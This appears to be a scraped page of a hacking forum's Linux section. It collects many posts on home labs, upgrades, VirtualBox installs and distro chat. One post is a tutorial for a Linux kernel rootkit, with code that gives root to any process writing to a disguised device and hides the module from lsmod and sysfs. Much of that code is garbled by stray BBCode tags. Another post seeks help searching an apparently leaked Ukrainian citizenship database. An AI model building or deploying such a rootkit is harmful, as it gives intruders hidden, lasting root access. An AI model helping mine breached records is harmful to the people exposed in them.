PwnForums - GNU/Linux

Building a subnet.

Wed, 31 Dec 2025 07:52:50 +0000

I'm building a home lab and wanted to build a subnet. All I have is an unmanaged switch and a Raspberry Pi. You'd think you can just plug a computer into the switch and get an IP address, but you'd be wrong. To set up a subnet, I needed to turn the Raspberry Pi into a DHCP and DNS server. This was accomplished with a tool called dnsmasq and nftables. A cool thing about dnsmasq is that it lets you set the IP range, and since I only had 8 Ethernet ports, I went with 10 IPs in my subnet. I set the Pi up so wlan0 is connected to the WiFi and eth0 is connected to the switch. I set up nftable rules so I could still get internet; ICMP and DNS were forwarded, and I forwarded port 22 so it could be accessed remotely. To test it, I plugged my laptop into the switch, and my Ethernet interface received the IP 10.0.0.4. The tool SSH has a proxy option -J, and if set up properly, you should be able to move around subnets. I was on my home network 192.168.0.1/24 and needed to get to my private subnet 10.0.0.1/24. To do this, I used the command: ssh internal@10.0.0.4 -J jump@192.168.0.40. By editing ~/.ssh/config, I set up the command: ssh internal, so I didn't have to type the IP every time.

Upgrade Centos7

Mon, 10 Mar 2025 08:33:44 +0000

## UPGRADE CENTOS 7 to 8

yum update -y
yum install epel-release
yum install yum-utils -y
yum install rpmconf -y
rpmconf -a
package-cleanup --leaves
package-cleanup --orphans
yum install dnf -y
dnf remove yum yum-metadata-parser
rm -rf /etc/yum
dnf upgrade
dnf install http://vault.centos.org/8.5.2111/BaseOS/...oarch.rpm}
dnf -y upgrade https://dl.fedoraproject.org/pub/epel/ep...noarch.rpm
dnf clean all
rpm -e `rpm -q kernel`
rpm -e --nodeps sysvinit-tools
dnf -y --releasever=8 --alowerasing --setopt=deltarpm=false distro-sync
dnf -y install kernel-core
dnf -y groupupdate "Core" "Server with GUI"
init 6

A Beginner's Guide to Writing a Simple Linux Rootkit

Tue, 24 Dec 2024 09:59:37 +0000

0x00.Overview

"Rootkit" means "root kit". In today's context, it refers more to a kind of malware that is loaded into the kernel of the operating system as a driver. The main purpose of this kind of malware is to "reside on the computer and provide a root backdoor" - when the attacker gets the shell of a server again, he can quickly elevate the privilege to root through the rootkit.
Rootkit under Linux mainly exists in the form of "loadable kernel module" (LKM). As part of the kernel, it directly provides services to the intruder with ring0 privileges; when the attacker gets the shell of a computer and elevates the privilege to root through the corresponding vulnerability, the rootkit can be left in the computer to provide a resident root backdoor for the attacker's subsequent intrusion behavior.
However, as part of the kernel, LKM programming is kernel programming in a certain sense, which is closely related to the kernel version. Only LKM compiled with the corresponding version of the kernel source code can be loaded on the corresponding version of the kernel, which makes Linux rootkit seem a bit useless (for example, if the server administrator upgrades the kernel version one day, you will be promoted), and unlike worm viruses, it can spread freely during the service period, but it is undeniable that LKM It is still one of the more mainstream rootkit technologies under Linux.

0x01. The simplest LKM
The following is a basic LKM template, which registers a character device as an interface for subsequent use.
rootkit.c

/*

[/size]

[size=medium]* rootkit.ko[/size]

[size=medium]* developed by arttnba3[/size]

[size=medium]*/[/size]

[size=medium]#include [/size]

[size=medium]#include [/size]

[size=medium]#include [/size]

[size=medium]#include [/size]

[size=medium]#include [/size]

[size=medium]#include "functions.c"[/size]

[size=medium]static int __init rootkit_init(void)[/size]

[size=medium]{[/size]

[size=medium]    // register device[/size]

[size=medium]    major_num = register_chrdev(0, DEVICE_NAME, &a3_rootkit_fo);    // major number 0 for allocated by kernel[/size]

[size=medium]    if(major_num < 0)[/size]

[size=medium]        return major_num;  // failed[/size]

[size=medium]    [/size]

[size=medium]    // create device class[/size]

[size=medium]    module_class = class_create(THIS_MODULE, CLASS_NAME);[/size]

[size=medium]    if(IS_ERR(module_class))[/size]

[size=medium]    {[/size]

[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]

[size=medium]        return PTR_ERR(module_class);[/size]

[size=medium]    }[/size]

[size=medium]    [/size]

[size=medium]    // create device inode[/size]

[size=medium]    module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);[/size]

[size=medium]    if(IS_ERR(module_device))  // failed[/size]

[size=medium]    {[/size]

[size=medium]        class_destroy(module_class);[/size]

[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]

[size=medium]        return PTR_ERR(module_device);[/size]

[size=medium]    }[/size]

[size=medium]    __file = filp_open(DEVICE_PATH, O_RDONLY, 0);[/size]

[size=medium]    if (IS_ERR(__file)) // failed[/size]

[size=medium]    {[/size]

[size=medium]        device_destroy(module_class, MKDEV(major_num, 0));[/size]

[size=medium]        class_destroy(module_class);[/size]

[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]

[size=medium]        return PTR_ERR(__file);[/size]

[size=medium]    }[/size]

[size=medium]    __inode = file_inode(__file);[/size]

[size=medium]    __inode->i_mode |= 0666;[/size]

[size=medium]    filp_close(__file, NULL);[/size]

[size=medium]    return 0;[/size]

[size=medium]}[/size]

[size=medium]static void __exit rootkit_exit(void)[/size]

[size=medium]{[/size]

[size=medium]    device_destroy(module_class, MKDEV(major_num, 0));[/size]

[size=medium]    class_destroy(module_class);[/size]

[size=medium]    unregister_chrdev(major_num, DEVICE_NAME);[/size]

[size=medium]}[/size]

[size=medium]module_init(rootkit_init);[/size]

[size=medium]module_exit(rootkit_exit);[/size]

[size=medium]MODULE_LICENSE("GPL");[/size]

[size=medium]MODULE_AUTHOR("arttnba3");[/size]

[size=medium]MODULE_INFO(intree, "Y");

functions.c

#include 

[/size]

[size=medium]#include [/size]

[size=medium]#include [/size]

[size=medium]#include [/size]

[size=medium]#include [/size]

[size=medium]#include "rootkit.h"[/size]

[size=medium]static int a3_rootkit_open(struct inode * __inode, struct file * __file)[/size]

[size=medium]{[/size]

[size=medium]    return 0;[/size]

[size=medium]}[/size]

[size=medium]static ssize_t a3_rootkit_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)[/size]

[size=medium]{[/size]

[size=medium]    return 0;[/size]

[size=medium]}[/size]

[size=medium]static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)[/size]

[size=medium]{[/size]

[size=medium]    char *param;[/size]

[size=medium]    param = kmalloc(size + 1, GFP_KERNEL);[/size]

[size=medium]    copy_from_user(param, user_buf, size);[/size]

[size=medium]    param = '\0';

[/size][size=medium]    if (param == '\n')    // like echo 'cmd param' > /dev/rootkitdev, a '\n' will be appended at the end

[/size][size=medium]        param = '\0';

    // analyze there

    kfree(param);

    return size;

}

static int a3_rootkit_release(struct inode * __inode, struct file * __file)

{

    printk(KERN_INFO "get info");

    return 0;

}

static long a3_rootkit_ioctl(struct file * __file, unsigned int cmd, unsigned long param)

{

    return 0;

}

rootkit.h

#include 

#include 

#include 

#include 

#include 

// a difficult-to-detect name

#define DEVICE_NAME "intel_rapl_msrdv"

#define CLASS_NAME "intel_rapl_msrmd"

#define DEVICE_PATH "/dev/intel_rapl_msrdv"

static int major_num;

static struct class * module_class = NULL;

static struct device * module_device = NULL;

static struct file * __file = NULL;

struct inode * __inode = NULL;

static int __init rootkit_init(void);

static void __exit rootkit_exit(void);

static int a3_rootkit_open(struct inode *, struct file *);

static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);

static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);

static int a3_rootkit_release(struct inode *, struct file *);

static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);

static struct file_operations a3_rootkit_fo = 

{

.owner = THIS_MODULE,

    .unlocked_ioctl = a3_rootkit_ioctl,

    .open = a3_rootkit_open,

    .read = a3_rootkit_read,

    .write = a3_rootkit_write,

    .release = a3_rootkit_release,

};

makefile

# Makefile2.6

obj-m += rootkit.o

CURRENT_PATH := $(shell pwd)

LINUX_KERNEL := $(shell uname -r)

LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)

all:

make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules

clean:

make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean

We will use this module as a blueprint for modification.

0x02. Process privilege escalation

cred structure
For each process under Linux, there is a structure cred in the kernel to identify its privileges. The structure is defined in the kernel source code include/linux/cred.h as follows:

struct cred {

[/size]

[size=small]atomic_t usage;[/size]

[size=small]#ifdef CONFIG_DEBUG_CREDENTIALS[/size]

[size=small]atomic_t subscribers; /* number of processes subscribed */[/size]

[size=small]void *put_addr;[/size]

[size=small]unsigned magic;[/size]

[size=small]#define CRED_MAGIC 0x43736564[/size]

[size=small]#define CRED_MAGIC_DEAD 0x44656144[/size]

[size=small]#endif[/size]

[size=small]kuid_t uid; /* real UID of the task */[/size]

[size=small]kgid_t gid; /* real GID of the task */[/size]

[size=small]kuid_t suid; /* saved UID of the task */[/size]

[size=small]kgid_t sgid; /* saved GID of the task */[/size]

[size=small]kuid_t euid; /* effective UID of the task */[/size]

[size=small]kgid_t egid; /* effective GID of the task */[/size]

[size=small]kuid_t fsuid; /* UID for VFS ops */[/size]

[size=small]kgid_t fsgid; /* GID for VFS ops */[/size]

[size=small]unsigned securebits; /* SUID-less security management */[/size]

[size=small]kernel_cap_t cap_inheritable; /* caps our children can inherit */[/size]

[size=small]kernel_cap_t cap_permitted; /* caps we're permitted */[/size]

[size=small]kernel_cap_t cap_effective; /* caps we can actually use */[/size]

[size=small]kernel_cap_t cap_bset; /* capability bounding set */[/size]

[size=small]kernel_cap_t cap_ambient; /* Ambient capability set */[/size]

[size=small]#ifdef CONFIG_KEYS[/size]

[size=small]unsigned char jit_keyring; /* default keyring to attach requested[/size]

[size=small]* keys to */[/size]

[size=small]struct key *session_keyring; /* keyring inherited over fork */[/size]

[size=small]struct key *process_keyring; /* keyring private to this process */[/size]

[size=small]struct key *thread_keyring; /* keyring private to this thread */[/size]

[size=small]struct key *request_key_auth; /* assumed request_key authority */[/size]

[size=small]#endif[/size]

[size=small]#ifdef CONFIG_SECURITY[/size]

[size=small]void *security; /* subjective LSM security */[/size]

[size=small]#endif[/size]

[size=small]struct user_struct *user; /* real user ID subscription */[/size]

[size=small]struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */[/size]

[size=small]struct group_info *group_info; /* supplementary groups for euid/fsgid */[/size]

[size=small]/* RCU deletion */[/size]

[size=small]union {[/size]

[size=small]int non_rcu; /* Can we skip RCU deletion? */[/size]

[size=small]struct rcu_head rcu; /* RCU deletion hook */[/size]

[size=small]};[/size]

[size=small]} __randomize_layout;

We mainly focus on uid. A cred structure records four different user IDs of a process:

Real user ID (real UID): identifies the user ID when a process is started
Saved user ID (saved UID): identifies the initial effective user ID of a process
Effective user ID (effective UID): identifies the user ID of a process when it is running. A process can change its user during operation, so the permission mechanism is also authenticated by the effective user ID
File system user ID (UID for VFS ops): identifies the user ID of a process when it creates a file

Privilege escalation:

The cred structure stores the effective uid of the process, so it is not difficult to imagine that if we directly rewrite the cred structure corresponding to a process, we can directly change its execution permissions.
In Linux, the uid of the root user is 0. If we change the uid of a process to 0, the process will gain root privileges.

Method I. Call commit_creds(prepare_kernel_cred(NULL))

There are two functions in kernel space, both located in kernel/cred.c:

struct cred* prepare_kernel_cred(struct task_struct* daemon): This function is used to copy the cred structure of a process and return a new cred structure. It should be noted that the daemon parameter should be a valid process descriptor address or NULL
int commit_creds(struct cred *new): This function is used to apply a new cred structure to the process

Looking at the source code of prepare_kernel_cred() function, the following logic is observed:

struct cred *prepare_kernel_cred(struct task_struct *daemon)

{

const struct cred *old;

struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);

if (!new)

return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)

old = get_task_cred(daemon);

else

old = get_cred(&init_cred);

...

In the prepare_kernel_cred() function, if the parameter passed in is NULL, the cred of the init process will be used as a template for copying by default, that is, a cred structure indicating root privileges can be directly obtained.

Then it is not difficult to think that as long as we can execute commit_creds(prepare_kernel_cred(NULL)) in the kernel space, we can elevate the process privileges to root.
Let's do a simple test: modify the write function to elevate the privileges to root when the user writes to the device:

static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)

{

    commit_creds(prepare_kernel_cred(NULL));

    return size;

}

A simple test shows that when we write any content to the device, we can elevate the privilege to root.

Method II. Modify the cred structure directly
As mentioned earlier, the commit_creds() function is used to apply a new cred to the current process. Let's observe the corresponding logic of its source code:

int commit_creds(struct cred *new)

[/size]

[size=medium]{[/size]

[size=medium]struct task_struct *task = current;[/size]

[size=medium]const struct cred *old = task->real_cred;[/size]

[size=medium]    [/size]

[size=medium]    ...

At the beginning of this function, the current process's task_struct is obtained directly through the macro current, and then its member real_cred is modified. Then we can also directly obtain the current process's task_struct structure through this macro in the kernel module, and then directly modify the uid in its real_cred to achieve root privilege escalation.
Then our code can be modified as follows:

//...

[/size][/color]

[color=#eeeeee][size=medium]    struct task_struct * task = current;[/size][/color]

[color=#eeeeee][size=medium]struct cred * old = task->real_cred;[/size][/color]

[color=#eeeeee][size=medium]    old->gid = old->sgid = old->egid = KGIDT_INIT(0);[/size][/color]

[color=#eeeeee][size=medium]    old->uid = old->suid = old->euid = KUIDT_INIT(0);[/size][/color]

[size=medium][color=#eeeeee][size=medium]//...

[/size]
It should be noted that the types of uid and gid are kuid_t and kgid_t encapsulated as structures, and should be assigned using the macros KGIDT_INIT() and KUIDT_INIT().
It can be seen that when we write to the device, the privilege is elevated to root. The difference is that we only modify a few uids and gids, so the original other information will still be retained. You can also choose to modify the others here.

0x03. Module hiding
After we load an LKM into the kernel module, users, especially server administrators, can use the lsmod command to find the rootkit you left on the server.

arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ sudo insmod rootkit.ko 

[/size][/color]

[color=#eeeeee][size=medium]Password: [/size][/color]

[color=#eeeeee][size=medium]arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ lsmod | grep 'rootkit'[/size][/color]

[size=medium][color=#eeeeee][size=medium]rootkit                16384  0

[/size]
Although we can change the name of the rootkit to something like "very_important_module_not_root_kit_please_donot_remove_it" to disguise it so that users can't find it through social engineering, even a "normal" name can't guarantee that it won't be discovered. Therefore, we need to make it impossible for users to directly discover our rootkit.

PRE. Kernel modules in the kernel: module structure

Here is a brief description. In the kernel, the module structure is used to represent a kernel module (defined in /include/linux/module.h). Multiple kernel modules form a bidirectional linked list structure through the member list (kernel bidirectional linked list structure list_head, defined in /include/linux/types.h, with only next and prev pointer members).
In kernel module programming, we can use the macro THIS_MODULE (defined in include/linux/export.h) or directly use its macro expansion &__list_module to obtain the module structure of the current kernel module.

Step-I. /proc/modules information hiding

The command lsmod used to view modules in Linux actually reads and organizes the file /proc/modules. The content of this file comes from the module doubly linked list in the kernel. So we only need to remove the rootkit from the doubly linked list to complete the hiding in procfs.
Students familiar with kernel programming should know that the list_del_init() function is used to perform kernel doubly linked list unlinking operations. This function is defined in /include/linux/list.h. After multiple nesting dolls are expanded, its core is mainly the conventional doubly linked list unlinking. So here we can actually write the doubly linked list unlinking work directly.
We also need to consider the impact of multi-threaded operations. Read the system call delete_module source code behind rmmod (located in kernel/module.c), and observe that it uses a mutex variable named module_mutex before entering the critical section. Our unlink operation will also use this mutex to ensure thread safety (after all, we are not here to cause damage directly hhh).

Add the following at the end of the module initialization function:

static int __init rootkit_init(void)

[/size]

[size=medium]{[/size]

[size=medium]...[/size]

[size=medium]    // unlink from module list[/size]

[size=medium]    struct list_head * list = (&__this_module.list);[/size]

[size=medium]mutex_lock(&module_mutex);[/size]

[size=medium]list->prev->next = list->next;[/size]

[size=medium]list->next->prev = list->prev;[/size]

[size=medium]mutex_unlock(&module_mutex);[/size]

[size=medium]    [/size]

[size=medium]return 0;[/size]

[size=medium]}

After remaking our rootkit and loading it into the kernel, we will find that the lsmod command can no longer find our rootkit, and there is no information about our rootkit in the /proc/modules file. At the same time, the functions provided by our rootkit are all normal.
But similarly, whether loading or unloading kernel modules, we need to operate on the doubly linked list. Since our rootkit has been unlinked, we cannot unload it (but the rootkit should stay in the kernel for a long time after being loaded once)

Step-II. /sys/module/ Information hiding

Sysfs is similar to procfs, and is also a virtual file system based on RAM. Its function is to provide kernel information to user programs in the form of files, including our rootkit module information. Sysfs will dynamically read the kobject hierarchy in the kernel and generate files in the /sys/module/ directory
Here is a brief introduction to kobject: Kobject is the base class of device data structure in Linux. It is a struct kobject structure in the kernel and is usually embedded in other data structures; each device has a kobject structure, and multiple kobjects are linked through a kernel bidirectional linked list; kobjects form a hierarchical structure
Students familiar with kernel programming should know that we can use the kobject_del() function (defined in /lib/kobject.c) to detach a kobject from the hierarchy. Here we will use this function at the end of our rootkit's init function:

static int __init rootkit_init(void)

[/size][/color]

[color=#eeeeee][size=medium]{[/size][/color]

[color=#eeeeee][size=medium]...[/size][/color]

[color=#eeeeee][size=medium]    // unlink from kobject[/size][/color]

[color=#eeeeee][size=medium]    kobject_del(&__this_module.mkobj.kobj);[/size][/color]

[color=#eeeeee][size=medium]    list_del(&(&__list_module->mkobj.kobj.entry));[/size][/color]

[color=#eeeeee][size=medium]    [/size][/color]

[color=#eeeeee][size=medium]return 0;[/size][/color]

[color=#eeeeee][size=medium]}

After a simple test, we can find that our rootkit is no longer in procfs or sysfs, but the privilege escalation function is still normal. We have successfully completed the function of hiding the module.

Step-III. File hiding
We mentioned earlier that we registered a character device as the interface of our user process, but no matter how well named, an unfamiliar device is still easy to be discovered by the administrator; similarly, since our rootkit needs to reside on the system for a long time, our rootkit should be loaded every time the system is turned on, which requires that our rootkit file also needs to be retained on the hard disk.
So next we have to complete the work of hiding related files

File traversal process
The most commonly used command for traversing files in Linux is ls. We use strace to observe the system calls it uses. In addition to the system call used to load the glibc library, we will find that it calls a system call called getgetdents64:

arttnba3@ubuntu:~$ strace ls[/size][/color][/size]

[color=#eeeeee][size=medium]...[/size][/color]

[color=#eeeeee][size=medium]openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3[/size][/color]

[color=#eeeeee][size=medium]fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0[/size][/color]

[color=#eeeeee][size=medium]getdents64(3, /* 44 entries */, 32768)  = 1408[/size][/color]

[color=#eeeeee][size=medium]getdents64(3, /* 0 entries */, 32768)  = 0[/size][/color]

[color=#eeeeee][size=medium]close(3) [/size][/color]

[size=medium][color=#eeeeee]...

Its code is located in the kernel source file /fs/readdir.c, as follows:
[size=medium]

SYSCALL_DEFINE3(getdents64, unsigned int, fd,[/size][/color][/size]

[color=#eeeeee][size=medium]struct linux_dirent64 __user *, dirent, unsigned int, count)[/size][/color]

[color=#eeeeee][size=medium]{[/size][/color]

[color=#eeeeee][size=medium]struct fd f;[/size][/color]

[color=#eeeeee][size=medium]struct getdents_callback64 buf = {[/size][/color]

[color=#eeeeee][size=medium].ctx.actor = filldir64,[/size][/color]

[color=#eeeeee][size=medium].count = count,[/size][/color]

[color=#eeeeee][size=medium].current_dir = dirent[/size][/color]

[color=#eeeeee][size=medium]};[/size][/color]

[color=#eeeeee][size=medium]int error;[/size][/color]

[color=#eeeeee][size=medium]f = fdget_pos(fd);[/size][/color]

[color=#eeeeee][size=medium]if (!f.file)[/size][/color]

[color=#eeeeee][size=medium]return -EBADF;[/size][/color]

[color=#eeeeee][size=medium]error = iterate_dir(f.file, &buf.ctx);[/size][/color]

[color=#eeeeee][size=medium]if (error >= 0)[/size][/color]

[color=#eeeeee][size=medium]error = buf.error;[/size][/color]

[color=#eeeeee][size=medium]if (buf.prev_reclen) {[/size][/color]

[color=#eeeeee][size=medium]struct linux_dirent64 __user * lastdirent;[/size][/color]

[color=#eeeeee][size=medium]typeof(lastdirent->d_off) d_off = buf.ctx.pos;[/size][/color]

[color=#eeeeee][size=medium]lastdirent = (void __user *) buf.current_dir - buf.prev_reclen;[/size][/color]

[color=#eeeeee][size=medium]if (put_user(d_off, &lastdirent->d_off))[/size][/color]

[color=#eeeeee][size=medium]error = -EFAULT;[/size][/color]

[color=#eeeeee][size=medium]else[/size][/color]

[color=#eeeeee][size=medium]error = count - buf.count;[/size][/color]

[color=#eeeeee][size=medium]}[/size][/color]

[color=#eeeeee][size=medium]fdput_pos(f);[/size][/color]

[color=#eeeeee][size=medium]return error;[/size][/color]

[size=medium][color=#eeeeee]}

When the ls command calls the system call, the first parameter passed in is file descriptor 3, which corresponds to ., the current directory. The fdget_pos() and fdput_pos() functions in the code are used to add/unlock files. The core operation of the system call is the iterate_dir() function, which is defined in /fs/readdir.c. By observing the code, we can find the following logic:
[size=medium]

int iterate_dir(struct file *file, struct dir_context *ctx)[/size][/color][/size]

[color=#eeeeee][size=medium]{[/size][/color]

[color=#eeeeee][size=medium]struct inode *inode = file_inode(file);[/size][/color]

[color=#eeeeee][size=medium]bool shared = false;[/size][/color]

[color=#eeeeee][size=medium]int res = -ENOTDIR;[/size][/color]

[color=#eeeeee][size=medium]if (file->f_op->iterate_shared)[/size][/color]

[color=#eeeeee][size=medium]shared = true;[/size][/color]

[color=#eeeeee][size=medium]else if (!file->f_op->iterate)[/size][/color]

[color=#eeeeee][size=medium]goto out[/size][/color]

[color=#eeeeee][size=medium]        [/size][/color]

[color=#eeeeee][size=medium]    ...[/size][/color]

[color=#eeeeee][size=medium]    [/size][/color]

[color=#eeeeee][size=medium]if (!IS_DEADDIR(inode)) {[/size][/color]

[color=#eeeeee][size=medium]ctx->pos = file->f_pos;[/size][/color]

[color=#eeeeee][size=medium]if (shared)[/size][/color]

[color=#eeeeee][size=medium]res = file->f_op->iterate_shared(file, ctx);[/size][/color]

[color=#eeeeee][size=medium]else[/size][/color]

[color=#eeeeee][size=medium]res = file->f_op->iterate(file, ctx);[/size][/color]

[color=#eeeeee][size=medium]file->f_pos = ctx->pos;[/size][/color]

[color=#eeeeee][size=medium]fsnotify_access(file);[/size][/color]

[color=#eeeeee][size=medium]file_accessed(file);[/size][/color]

[color=#eeeeee][size=medium]}[/size][/color]

[color=#eeeeee][size=medium]    [/size][/color]

[size=medium][color=#eeeeee]...

[size=medium]In the Linux kernel, VFS is used to unify different file systems. The file structure is used to represent a file, and each file has a function table file_operations corresponding to the corresponding operations on the file (such as read, write). The function table is taken from the inode corresponding to the file, and finally from the specific function provided by the corresponding file system.

Here, the function pointer iterate_shared or iterate in the table will be called. Using gdb to simply debug the kernel, it can be found that iterate_shared is called in the 5.11.0 version of the kernel.

Virtualbox 7.1.4 in Ubuntu 24.10

Sat, 16 Nov 2024 15:47:45 +0000

Hi ,

I have seen many people are not able to install Virtualbox 7.1.4 in Ubuntu 24.10 due to unresolved dependencies making it impossible to install.

I got a solution to install it successfully with ease , just follow the steps listed below.

Here is what I did to successfully install VirtualBox 7.1.4 on Ubuntu 24.10

sudo apt update
sudo apt install dkms menu build-essential libelf-dev make gcc linux-headers-$(uname -r)
sudo apt install liblzf1 libqt6help6 libqt6statemachine6 libsdl-ttf2.0-0 libqt6widgets6 libqt6xml6 qt6-wayland libqt6sql6 libqt6opengl6 libqt6printsupport6 libqt6network6 libqt6printsupport6 libqt6gui6 libqt6dbus6 qt6-qpa-plugins qt6-translations-l10n qt6-wayland qt6-qmltooling-plugins libb2-1
wget -P $HOME/Downloads https://download.virtualbox.org/virtualb..._amd64.run https://download.virtualbox.org/virtualb...SHA256SUMS
sha256sum -c <(grep "VirtualBox-7.1.4-165100-Linux_amd64.run" "$HOME/Downloads/SHA256SUMS")
chmod +x $HOME/Downloads/VirtualBox-7.1.4-165100-Linux_amd64.run
sudo ./VirtualBox-7.1.4-165100-Linux_amd64.run

If you like you might want to install the VirtualBox extensions as well.

wget -P $HOME/Downloads https://download.virtualbox.org/virtualb...ox-extpack
sha256sum -c <(grep "Oracle_VirtualBox_Extension_Pack-7.1.4.vbox-extpack" "$HOME/Downloads/SHA256SUMS")
sudo /usr/bin/vboxmanage extpack install --replace $HOME/Downloads/Oracle_VirtualBox_Extension_Pack-7.1.4.vbox-extpack
ls -l /opt/VirtualBox/ExtensionPacks/Oracle_VirtualBox_Extension_Pack/linux.amd64

Add your user to vboxuser group

sudo usermod -aG vboxusers $USER
sudo reboot

Now the Virtualbox 7.1.4 is set to go in Ubuntu 24.10

Kali linux is recheable network.

Sat, 14 Sep 2024 08:50:39 +0000

My Kali Linux is not working; it shows "unable to network connection."

best filesystem on Linux

Fri, 23 Aug 2024 20:22:31 +0000

In your opinion, what is the best file system and why?

Distro on server

Wed, 24 Jul 2024 22:25:57 +0000

What distros do you recommend on server? I want stable OS but not so bloated like ubuntu

Linux Screenshot Thread

Thu, 13 Jun 2024 04:58:33 +0000

Greetings,

If you have a rice, or whatever, post a screenshot of your setup:

sysinfo -- Linux sysinfo fetch script

Thu, 13 Jun 2024 04:54:15 +0000

Preview:

How To Use:

chmod +x sysinfo.sh

./sysinfo.sh

Source Code:

#!/bin/sh

#sysinfo by putrid

#█▓▒░ vars

FULL=━

EMPTY=┄

name=$USER

host=$HOSTNAME

battery="/sys/class/power_supply/BAT0"

distro=$(cat /etc/os-release | grep '^NAME=' | cut -d '"' -f 2) 

kernel=$(uname -r | sed 's/ARCH/0x0/') ) 

pkgs=$(yay -Qqs | wc -l) # Fetch other configurations (adjust according to your setup) 

colors="CHANGE ME 

font="CHANGE ME 

wm=$(wmctrl -m | grep 'Name:' | awk '{print $2}')

#█▓▒░ progress bar

draw()

{

  perc=$1

  size=$2

  inc=$(( perc * size / 100 ))

  out=

  if [ -z $3 ]

  then

    color="36"

  else

    color="$3"

  fi

  for v in `seq 0 $(( size - 1 ))`; do

    test "$v" -le "$inc"  \

    && out="${out}\e[1;${color}m${FULL}" \

    || out="${out}\e[0;${color}m${EMPTY}"

  done

  printf $out

}

#█▓▒░ colors

printf "\n  "

i=0

while [ $i -le 6 ]

do

  printf "\e[$((i+41))m\e[$((i+30))m█▓▒░"

  i=$(($i+1))

done

printf "\e[37m█\e[0m▒░\n\n"

#█▓▒░ environment

printf " \e[1;33m      distro \e[0m$distro\n"

printf " \e[1;33m      system \e[0m$host\n"

printf " \e[1;33m      kernel \e[0m$kernel\n"

printf " \e[1;33m    packages \e[0m$pkgs\n"

printf " \e[1;33m          wm \e[0m$wm\n"

printf " \e[1;33m        font \e[0m$font\n"

printf " \e[1;33m      colors \e[0m$colors\n"

printf " \e[0m\n"

#█▓▒░ cpu

cpu=$(grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage}')

c_lvl=`printf "%.0f" $cpu`

printf "  \e[0;36m%-4s \e[1;36m%-5s %-25s \n" " cpu" "$c_lvl%" `draw $c_lvl 15`

#█▓▒░ ram

ram=`free | awk '/Mem:/ {print int($3/$2 * 100.0)}'`

printf "  \e[0;36m%-4s \e[1;36m%-5s %-25s \n" " ram" "$ram%" `draw $ram 15`

Alpine Linux

Thu, 29 Feb 2024 14:18:33 +0000

Anyone here has any experience with Alpine Linux?

I heard Tor Browser doesn't work well with musl but Alpine has gcompat and can also run glibc programs (like Tor Browser) with Flatpak. Did anyone try any of these options?

your linux distro

Wed, 17 Jan 2024 12:40:55 +0000

what linux distribution are you using now and why?

How do you stop working ("exit") on a terminal session?

Tue, 28 Nov 2023 07:47:00 +0000

Please be honest. No one laugh at you.

Search in text file containing cyrillic

Fri, 17 Nov 2023 11:49:51 +0000

Hi All

I am trying to figure out, how to search in a textfile containing cyrillic letters in Linux terminal, which uses an english char set.

Using
Cat BreachedDataUkraine53MCitizenshipDatabase.txt
Produces
1448700758 �� 6656 ��˲� 21 �� 9 1

using
LANG=ru_RU.CP1251 luit cat BreachedDataUkraine53MCitizenshipDatabase.txt
Produces
КАКОТКІН 207249 РОМАН

But if i try to grep something like
LANG=ru_RU.CP1251 luit cat BreachedDataUkraine53MCitizenshipDatabase.txt | grep МЕРКУЛЕНКО
It just prints the whole file

strings BreachedDataUkraine53MCitizenshipDatabase.txt | grep 1990
Only shows numbers

Any help are appreciated

KUbuntu ISO for T2 Mac

Mon, 13 Nov 2023 23:35:08 +0000

https://gofile.io/d/UUg01h

Linux Hardening

Fri, 29 Sep 2023 01:06:11 +0000

Today, I decided to check how vulnerable my computer was. I wanted to test the physical security of it. I use Linux (doesn't matter what Linux I use) and there are methods if you were to forget your password, to reset it. Below are some steps how you can do so.

https://pastebin.com/raw/s2wSBuxS

How to secure your system to avoid this from happening?

You can either 1) Encrypt the entire system with veracrypt (if it allows you because I couldn't do it) or 2) configure GRUB password authentication. I will be showing you how to configure GRUB password.

https://pastebin.com/raw/mb6324Vi